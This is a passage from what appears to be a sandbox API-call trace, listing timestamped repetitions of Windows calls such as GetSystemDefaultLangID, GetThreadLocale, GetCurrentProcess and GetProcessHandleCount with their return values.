hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.740] GetSystemDefaultLangID () returned 0x25c0409 [0192.740] GetThreadLocale () returned 0x409 [0192.740] GetCurrentProcess () returned 0xffffffff [0192.740] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.740] GetSystemDefaultLangID () returned 0x25c0409 [0192.740] GetThreadLocale () returned 0x409 [0192.740] GetCurrentProcess () returned 0xffffffff [0192.740] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.740] GetSystemDefaultLangID () returned 0x25c0409 [0192.740] GetThreadLocale () returned 0x409 [0192.740] GetCurrentProcess () returned 0xffffffff [0192.740] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.740] GetSystemDefaultLangID () returned 0x25c0409 [0192.740] GetThreadLocale () returned 0x409 [0192.740] GetCurrentProcess () returned 0xffffffff [0192.740] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.740] GetSystemDefaultLangID () returned 0x25c0409 [0192.740] GetThreadLocale () returned 0x409 [0192.740] GetCurrentProcess () returned 0xffffffff [0192.740] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.741] GetSystemDefaultLangID () returned 0x25c0409 [0192.741] GetThreadLocale () returned 0x409 [0192.741] GetCurrentProcess () returned 0xffffffff [0192.741] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.741] GetSystemDefaultLangID () returned 0x25c0409 [0192.741] GetThreadLocale () returned 0x409 [0192.741] GetCurrentProcess () returned 0xffffffff [0192.741] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.741] GetSystemDefaultLangID () returned 0x25c0409 [0192.741] GetThreadLocale () returned 0x409 [0192.741] GetCurrentProcess () returned 0xffffffff [0192.741] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.741] GetSystemDefaultLangID () returned 0x25c0409 [0192.741] GetThreadLocale () returned 0x409 [0192.741] GetCurrentProcess () returned 0xffffffff [0192.741] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.741] GetSystemDefaultLangID () returned 0x25c0409 [0192.741] GetThreadLocale () returned 0x409 [0192.741] GetCurrentProcess () returned 0xffffffff [0192.741] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.741] GetSystemDefaultLangID () returned 0x25c0409 [0192.741] GetThreadLocale () returned 0x409 [0192.741] GetCurrentProcess () returned 0xffffffff [0192.741] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.741] GetSystemDefaultLangID () returned 0x25c0409 [0192.741] GetThreadLocale () returned 0x409 [0192.741] GetCurrentProcess () returned 0xffffffff [0192.742] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.742] GetSystemDefaultLangID () returned 0x25c0409 [0192.742] GetThreadLocale () returned 0x409 [0192.742] GetCurrentProcess () returned 0xffffffff [0192.742] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.742] GetSystemDefaultLangID () returned 0x25c0409 [0192.742] GetThreadLocale () returned 0x409 [0192.742] GetCurrentProcess () returned 0xffffffff [0192.742] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.742] GetSystemDefaultLangID () returned 0x25c0409 [0192.742] GetThreadLocale () returned 0x409 [0192.742] GetCurrentProcess () returned 0xffffffff [0192.742] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.742] GetSystemDefaultLangID () returned 0x25c0409 [0192.742] GetThreadLocale () returned 0x409 [0192.742] GetCurrentProcess () returned 0xffffffff [0192.742] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.742] GetSystemDefaultLangID () returned 0x25c0409 [0192.742] GetThreadLocale () returned 0x409 [0192.742] GetCurrentProcess () returned 0xffffffff [0192.742] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.742] GetSystemDefaultLangID () returned 0x25c0409 [0192.742] GetThreadLocale () returned 0x409 [0192.742] GetCurrentProcess () returned 0xffffffff [0192.742] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.742] GetSystemDefaultLangID () returned 0x25c0409 [0192.742] GetThreadLocale () returned 0x409 [0192.742] GetCurrentProcess () returned 0xffffffff [0192.743] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.743] GetSystemDefaultLangID () returned 0x25c0409 [0192.743] GetThreadLocale () returned 0x409 [0192.743] GetCurrentProcess () returned 0xffffffff [0192.743] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.743] GetSystemDefaultLangID () returned 0x25c0409 [0192.743] GetThreadLocale () returned 0x409 [0192.743] GetCurrentProcess () returned 0xffffffff [0192.743] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.743] GetSystemDefaultLangID () returned 0x25c0409 [0192.743] GetThreadLocale () returned 0x409 [0192.743] GetCurrentProcess () returned 0xffffffff [0192.743] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.743] GetSystemDefaultLangID () returned 0x25c0409 [0192.743] GetThreadLocale () returned 0x409 [0192.743] GetCurrentProcess () returned 0xffffffff [0192.743] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.743] GetSystemDefaultLangID () returned 0x25c0409 [0192.743] GetThreadLocale () returned 0x409 [0192.743] GetCurrentProcess () returned 0xffffffff [0192.743] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.743] GetSystemDefaultLangID () returned 0x25c0409 [0192.743] GetThreadLocale () returned 0x409 [0192.743] GetCurrentProcess () returned 0xffffffff [0192.743] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.743] GetSystemDefaultLangID () returned 0x25c0409 [0192.743] GetThreadLocale () returned 0x409 [0192.743] GetCurrentProcess () returned 0xffffffff [0192.743] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.744] GetSystemDefaultLangID () returned 0x25c0409 [0192.744] GetThreadLocale () returned 0x409 [0192.744] GetCurrentProcess () returned 0xffffffff [0192.744] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.744] GetSystemDefaultLangID () returned 0x25c0409 [0192.744] GetThreadLocale () returned 0x409 [0192.744] GetCurrentProcess () returned 0xffffffff [0192.744] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.744] GetSystemDefaultLangID () returned 0x25c0409 [0192.744] GetThreadLocale () returned 0x409 [0192.744] GetCurrentProcess () returned 0xffffffff [0192.744] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.744] GetSystemDefaultLangID () returned 0x25c0409 [0192.744] GetThreadLocale () returned 0x409 [0192.744] GetCurrentProcess () returned 0xffffffff [0192.744] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.744] GetSystemDefaultLangID () returned 0x25c0409 [0192.744] GetThreadLocale () returned 0x409 [0192.744] GetCurrentProcess () returned 0xffffffff [0192.744] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.744] GetSystemDefaultLangID () returned 0x25c0409 [0192.744] GetThreadLocale () returned 0x409 [0192.744] GetCurrentProcess () returned 0xffffffff [0192.744] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.744] GetSystemDefaultLangID () returned 0x25c0409 [0192.744] GetThreadLocale () returned 0x409 [0192.744] GetCurrentProcess () returned 0xffffffff [0192.744] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.745] GetSystemDefaultLangID () returned 0x25c0409 [0192.745] GetThreadLocale () returned 0x409 [0192.745] GetCurrentProcess () returned 0xffffffff [0192.745] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.745] GetSystemDefaultLangID () returned 0x25c0409 [0192.745] GetThreadLocale () returned 0x409 [0192.745] GetCurrentProcess () returned 0xffffffff [0192.745] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.745] GetSystemDefaultLangID () returned 0x25c0409 [0192.745] GetThreadLocale () returned 0x409 [0192.745] GetCurrentProcess () returned 0xffffffff [0192.745] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.745] GetSystemDefaultLangID () returned 0x25c0409 [0192.745] GetThreadLocale () returned 0x409 [0192.745] GetCurrentProcess () returned 0xffffffff [0192.745] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.745] GetSystemDefaultLangID () returned 0x25c0409 [0192.745] GetThreadLocale () returned 0x409 [0192.745] GetCurrentProcess () returned 0xffffffff [0192.745] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.745] GetSystemDefaultLangID () returned 0x25c0409 [0192.745] GetThreadLocale () returned 0x409 [0192.745] GetCurrentProcess () returned 0xffffffff [0192.745] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.745] GetSystemDefaultLangID () returned 0x25c0409 [0192.745] GetThreadLocale () returned 0x409 [0192.745] GetCurrentProcess () returned 0xffffffff [0192.745] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.746] GetSystemDefaultLangID () returned 0x25c0409 [0192.746] GetThreadLocale () returned 0x409 [0192.746] GetCurrentProcess () returned 0xffffffff [0192.746] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.746] GetSystemDefaultLangID () returned 0x25c0409 [0192.746] GetThreadLocale () returned 0x409 [0192.746] GetCurrentProcess () returned 0xffffffff [0192.746] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.746] GetSystemDefaultLangID () returned 0x25c0409 [0192.746] GetThreadLocale () returned 0x409 [0192.746] GetCurrentProcess () returned 0xffffffff [0192.746] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.746] GetSystemDefaultLangID () returned 0x25c0409 [0192.746] GetThreadLocale () returned 0x409 [0192.746] GetCurrentProcess () returned 0xffffffff [0192.746] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.746] GetSystemDefaultLangID () returned 0x25c0409 [0192.746] GetThreadLocale () returned 0x409 [0192.746] GetCurrentProcess () returned 0xffffffff [0192.746] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.746] GetSystemDefaultLangID () returned 0x25c0409 [0192.746] GetThreadLocale () returned 0x409 [0192.746] GetCurrentProcess () returned 0xffffffff [0192.746] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.746] GetSystemDefaultLangID () returned 0x25c0409 [0192.746] GetThreadLocale () returned 0x409 [0192.746] GetCurrentProcess () returned 0xffffffff [0192.746] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.747] GetSystemDefaultLangID () returned 0x25c0409 [0192.747] GetThreadLocale () returned 0x409 [0192.747] GetCurrentProcess () returned 0xffffffff [0192.747] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.747] GetSystemDefaultLangID () returned 0x25c0409 [0192.747] GetThreadLocale () returned 0x409 [0192.747] GetCurrentProcess () returned 0xffffffff [0192.747] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.747] GetSystemDefaultLangID () returned 0x25c0409 [0192.747] GetThreadLocale () returned 0x409 [0192.747] GetCurrentProcess () returned 0xffffffff [0192.747] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.747] GetSystemDefaultLangID () returned 0x25c0409 [0192.747] GetThreadLocale () returned 0x409 [0192.747] GetCurrentProcess () returned 0xffffffff [0192.747] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.747] GetSystemDefaultLangID () returned 0x25c0409 [0192.747] GetThreadLocale () returned 0x409 [0192.747] GetCurrentProcess () returned 0xffffffff [0192.747] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.747] GetSystemDefaultLangID () returned 0x25c0409 [0192.747] GetThreadLocale () returned 0x409 [0192.747] GetCurrentProcess () returned 0xffffffff [0192.747] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.747] GetSystemDefaultLangID () returned 0x25c0409 [0192.747] GetThreadLocale () returned 0x409 [0192.747] GetCurrentProcess () returned 0xffffffff [0192.747] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.747] GetSystemDefaultLangID () returned 0x25c0409 [0192.747] GetThreadLocale () returned 0x409 [0192.748] GetCurrentProcess () returned 0xffffffff [0192.748] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.748] GetSystemDefaultLangID () returned 0x25c0409 [0192.748] GetThreadLocale () returned 0x409 [0192.748] GetCurrentProcess () returned 0xffffffff [0192.748] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.748] GetSystemDefaultLangID () returned 0x25c0409 [0192.748] GetThreadLocale () returned 0x409 [0192.748] GetCurrentProcess () returned 0xffffffff [0192.748] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.748] GetSystemDefaultLangID () returned 0x25c0409 [0192.748] GetThreadLocale () returned 0x409 [0192.748] GetCurrentProcess () returned 0xffffffff [0192.748] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.748] GetSystemDefaultLangID () returned 0x25c0409 [0192.748] GetThreadLocale () returned 0x409 [0192.748] GetCurrentProcess () returned 0xffffffff [0192.748] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.748] GetSystemDefaultLangID () returned 0x25c0409 [0192.748] GetThreadLocale () returned 0x409 [0192.748] GetCurrentProcess () returned 0xffffffff [0192.748] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.748] GetSystemDefaultLangID () returned 0x25c0409 [0192.748] GetThreadLocale () returned 0x409 [0192.748] GetCurrentProcess () returned 0xffffffff [0192.748] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.748] GetSystemDefaultLangID () returned 0x25c0409 [0192.748] GetThreadLocale () returned 0x409 [0192.749] GetCurrentProcess () returned 0xffffffff [0192.749] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.749] GetSystemDefaultLangID () returned 0x25c0409 [0192.749] GetThreadLocale () returned 0x409 [0192.749] GetCurrentProcess () returned 0xffffffff [0192.749] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.749] GetSystemDefaultLangID () returned 0x25c0409 [0192.749] GetThreadLocale () returned 0x409 [0192.749] GetCurrentProcess () returned 0xffffffff [0192.749] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.749] GetSystemDefaultLangID () returned 0x25c0409 [0192.749] GetThreadLocale () returned 0x409 [0192.749] GetCurrentProcess () returned 0xffffffff [0192.749] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.749] GetSystemDefaultLangID () returned 0x25c0409 [0192.749] GetThreadLocale () returned 0x409 [0192.749] GetCurrentProcess () returned 0xffffffff [0192.749] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.749] GetSystemDefaultLangID () returned 0x25c0409 [0192.749] GetThreadLocale () returned 0x409 [0192.749] GetCurrentProcess () returned 0xffffffff [0192.749] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.749] GetSystemDefaultLangID () returned 0x25c0409 [0192.749] GetThreadLocale () returned 0x409 [0192.749] GetCurrentProcess () returned 0xffffffff [0192.749] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.749] GetSystemDefaultLangID () returned 0x25c0409 [0192.749] GetThreadLocale () returned 0x409 [0192.749] GetCurrentProcess () returned 0xffffffff [0192.750] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.750] GetSystemDefaultLangID () returned 0x25c0409 [0192.750] GetThreadLocale () returned 0x409 [0192.750] GetCurrentProcess () returned 0xffffffff [0192.750] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.750] GetSystemDefaultLangID () returned 0x25c0409 [0192.750] GetThreadLocale () returned 0x409 [0192.750] GetCurrentProcess () returned 0xffffffff [0192.750] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.750] GetSystemDefaultLangID () returned 0x25c0409 [0192.750] GetThreadLocale () returned 0x409 [0192.750] GetCurrentProcess () returned 0xffffffff [0192.750] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.750] GetSystemDefaultLangID () returned 0x25c0409 [0192.750] GetThreadLocale () returned 0x409 [0192.750] GetCurrentProcess () returned 0xffffffff [0192.750] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.750] GetSystemDefaultLangID () returned 0x25c0409 [0192.750] GetThreadLocale () returned 0x409 [0192.750] GetCurrentProcess () returned 0xffffffff [0192.750] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.750] GetSystemDefaultLangID () returned 0x25c0409 [0192.750] GetThreadLocale () returned 0x409 [0192.750] GetCurrentProcess () returned 0xffffffff [0192.750] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.750] GetSystemDefaultLangID () returned 0x25c0409 [0192.750] GetThreadLocale () returned 0x409 [0192.750] GetCurrentProcess () returned 0xffffffff [0192.750] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.751] GetSystemDefaultLangID () returned 0x25c0409 [0192.751] GetThreadLocale () returned 0x409 [0192.751] GetCurrentProcess () returned 0xffffffff [0192.751] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.751] GetSystemDefaultLangID () returned 0x25c0409 [0192.751] GetThreadLocale () returned 0x409 [0192.751] GetCurrentProcess () returned 0xffffffff [0192.751] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.751] GetSystemDefaultLangID () returned 0x25c0409 [0192.751] GetThreadLocale () returned 0x409 [0192.751] GetCurrentProcess () returned 0xffffffff [0192.751] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.751] GetSystemDefaultLangID () returned 0x25c0409 [0192.751] GetThreadLocale () returned 0x409 [0192.751] GetCurrentProcess () returned 0xffffffff [0192.751] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.751] GetSystemDefaultLangID () returned 0x25c0409 [0192.751] GetThreadLocale () returned 0x409 [0192.751] GetCurrentProcess () returned 0xffffffff [0192.751] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.751] GetSystemDefaultLangID () returned 0x25c0409 [0192.751] GetThreadLocale () returned 0x409 [0192.751] GetCurrentProcess () returned 0xffffffff [0192.751] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.751] GetSystemDefaultLangID () returned 0x25c0409 [0192.751] GetThreadLocale () returned 0x409 [0192.751] GetCurrentProcess () returned 0xffffffff [0192.751] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.751] GetSystemDefaultLangID () returned 0x25c0409 [0192.751] GetThreadLocale () returned 0x409 [0192.752] GetCurrentProcess () returned 0xffffffff [0192.752] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.752] GetSystemDefaultLangID () returned 0x25c0409 [0192.752] GetThreadLocale () returned 0x409 [0192.752] GetCurrentProcess () returned 0xffffffff [0192.752] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.752] GetSystemDefaultLangID () returned 0x25c0409 [0192.752] GetThreadLocale () returned 0x409 [0192.752] GetCurrentProcess () returned 0xffffffff [0192.752] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.752] GetSystemDefaultLangID () returned 0x25c0409 [0192.752] GetThreadLocale () returned 0x409 [0192.752] GetCurrentProcess () returned 0xffffffff [0192.752] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.752] GetSystemDefaultLangID () returned 0x25c0409 [0192.752] GetThreadLocale () returned 0x409 [0192.752] GetCurrentProcess () returned 0xffffffff [0192.752] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.752] GetSystemDefaultLangID () returned 0x25c0409 [0192.752] GetThreadLocale () returned 0x409 [0192.752] GetCurrentProcess () returned 0xffffffff [0192.752] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.752] GetSystemDefaultLangID () returned 0x25c0409 [0192.752] GetThreadLocale () returned 0x409 [0192.752] GetCurrentProcess () returned 0xffffffff [0192.752] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.752] GetSystemDefaultLangID () returned 0x25c0409 [0192.753] GetThreadLocale () returned 0x409 [0192.753] GetCurrentProcess () returned 0xffffffff [0192.753] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.753] GetSystemDefaultLangID () returned 0x25c0409 [0192.753] GetThreadLocale () returned 0x409 [0192.753] GetCurrentProcess () returned 0xffffffff [0192.753] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.753] GetSystemDefaultLangID () returned 0x25c0409 [0192.753] GetThreadLocale () returned 0x409 [0192.753] GetCurrentProcess () returned 0xffffffff [0192.753] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.753] GetSystemDefaultLangID () returned 0x25c0409 [0192.753] GetThreadLocale () returned 0x409 [0192.753] GetCurrentProcess () returned 0xffffffff [0192.753] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.753] GetSystemDefaultLangID () returned 0x25c0409 [0192.753] GetThreadLocale () returned 0x409 [0192.753] GetCurrentProcess () returned 0xffffffff [0192.753] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.753] GetSystemDefaultLangID () returned 0x25c0409 [0192.753] GetThreadLocale () returned 0x409 [0192.754] GetCurrentProcess () returned 0xffffffff [0192.754] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.754] GetSystemDefaultLangID () returned 0x25c0409 [0192.754] GetThreadLocale () returned 0x409 [0192.754] GetCurrentProcess () returned 0xffffffff [0192.754] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.754] GetSystemDefaultLangID () returned 0x25c0409 [0192.754] GetThreadLocale () returned 0x409 [0192.754] GetCurrentProcess () returned 0xffffffff [0192.754] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.754] GetSystemDefaultLangID () returned 0x25c0409 [0192.754] GetThreadLocale () returned 0x409 [0192.754] GetCurrentProcess () returned 0xffffffff [0192.754] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.754] GetSystemDefaultLangID () returned 0x25c0409 [0192.754] GetThreadLocale () returned 0x409 [0192.754] GetCurrentProcess () returned 0xffffffff [0192.754] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.754] GetSystemDefaultLangID () returned 0x25c0409 [0192.754] GetThreadLocale () returned 0x409 [0192.754] GetCurrentProcess () returned 0xffffffff [0192.754] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.754] GetSystemDefaultLangID () returned 0x25c0409 [0192.754] GetThreadLocale () returned 0x409 [0192.754] GetCurrentProcess () returned 0xffffffff [0192.754] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.754] GetSystemDefaultLangID () returned 0x25c0409 [0192.754] GetThreadLocale () returned 0x409 [0192.755] GetCurrentProcess () returned 0xffffffff [0192.755] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.755] GetSystemDefaultLangID () returned 0x25c0409 [0192.755] GetThreadLocale () returned 0x409 [0192.755] GetCurrentProcess () returned 0xffffffff [0192.755] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.755] GetSystemDefaultLangID () returned 0x25c0409 [0192.755] GetThreadLocale () returned 0x409 [0192.755] GetCurrentProcess () returned 0xffffffff [0192.755] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.755] GetSystemDefaultLangID () returned 0x25c0409 [0192.755] GetThreadLocale () returned 0x409 [0192.755] GetCurrentProcess () returned 0xffffffff [0192.755] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.755] GetSystemDefaultLangID () returned 0x25c0409 [0192.755] GetThreadLocale () returned 0x409 [0192.755] GetCurrentProcess () returned 0xffffffff [0192.755] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.755] GetSystemDefaultLangID () returned 0x25c0409 [0192.755] GetThreadLocale () returned 0x409 [0192.755] GetCurrentProcess () returned 0xffffffff [0192.755] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.755] GetSystemDefaultLangID () returned 0x25c0409 [0192.755] GetThreadLocale () returned 0x409 